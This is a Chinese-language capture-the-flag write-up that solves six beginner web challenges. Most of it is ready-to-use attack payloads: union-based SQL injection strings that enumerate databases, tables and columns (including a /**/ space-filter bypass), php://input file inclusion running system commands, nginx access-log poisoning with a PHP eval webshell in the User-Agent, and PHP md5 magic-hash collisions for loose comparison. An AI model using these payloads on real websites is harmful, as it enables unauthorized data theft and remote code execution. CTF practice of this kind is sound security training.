web1
源代码base64解码就是答案
web2
登录框,万能密码试一下
admin or 1=1# 密码随便输,条件是恒成立的,但是这个页面没有回应
admin' or 1=1# 加上单引号就页面就有了新的变化。
应该是单引号字符型注入
顺序为:获取库名,获取表名,获取列名,获取数据
获取注入点,运用联合查询
admin' or 1=1 union select 1,2,3#
从这里我们知道该数据库有三列,并且注入点是第二列
admin' or 1=1 union select 1,2,3,4# 页面不会有变化
库名
admin' or 1=1 union select 1,database(),3#
库名就是web2了
表名
admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
table_name是查询表名需要的命令和schema_name查询库名的用法相同。tables是从information_schema库的tables表中获取,后面的where table_schema='web2'是table表中获取web2的表的内容。也就是做了一定的限制,就只获取web2库中的表名。flag 和user
就要获得列
admin' or union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#
column_name就是查询列名的意思
可以看到flag表中有一个flag列。
内容获取
admin' or 1=1 union select 1,flag, 3 from flag#
web3
找到include,应该是文件包含漏洞,抓包看看
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
加上系统命令,读取文件 <?php system('ls')?>
接着读取,看到结果了。
web4
打开页面和上面一题是一样的,照着操作一下,出现报错
但是根据返回包知道是nginx:
默认nginx日志是:/var/log/nginx/access.log,可以看到记录了请求
包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息
传参:
?url=/var/log/nginx/access.log
#这个地址是存放日志文件的,可以进行文件注入一句话
用Burp Suite抓包,在User-Agent后面写个🐎
<?php eval($_POST['a'])?>
蚁剑连接,看到flag
web5
发现要求v1必须是字符串,v2必须是数字,并且对v1和v2的md5弱相等,也就是==,只比较字符串开头是否相等,那么就需要找到两个md5开头相等的即可。
QNKCDZO的md5是0e830400451993494058024219903391
240610708的md5是0e462097431906509019562988736854
web6
尝试一下简单的万密,但是没有什么发现,应该是出现过滤了
先绕过空格,/**/代替空格,可以,说明过滤了空格。
和web2差不多
注入点在2
admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
得到数据库名为web2
查表
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
查询flag表的字段
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
查看flag字段中的内容
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
这题和web2差不多,只是过滤了空格,在每条查询语句加上/**/绕过空格就可以了。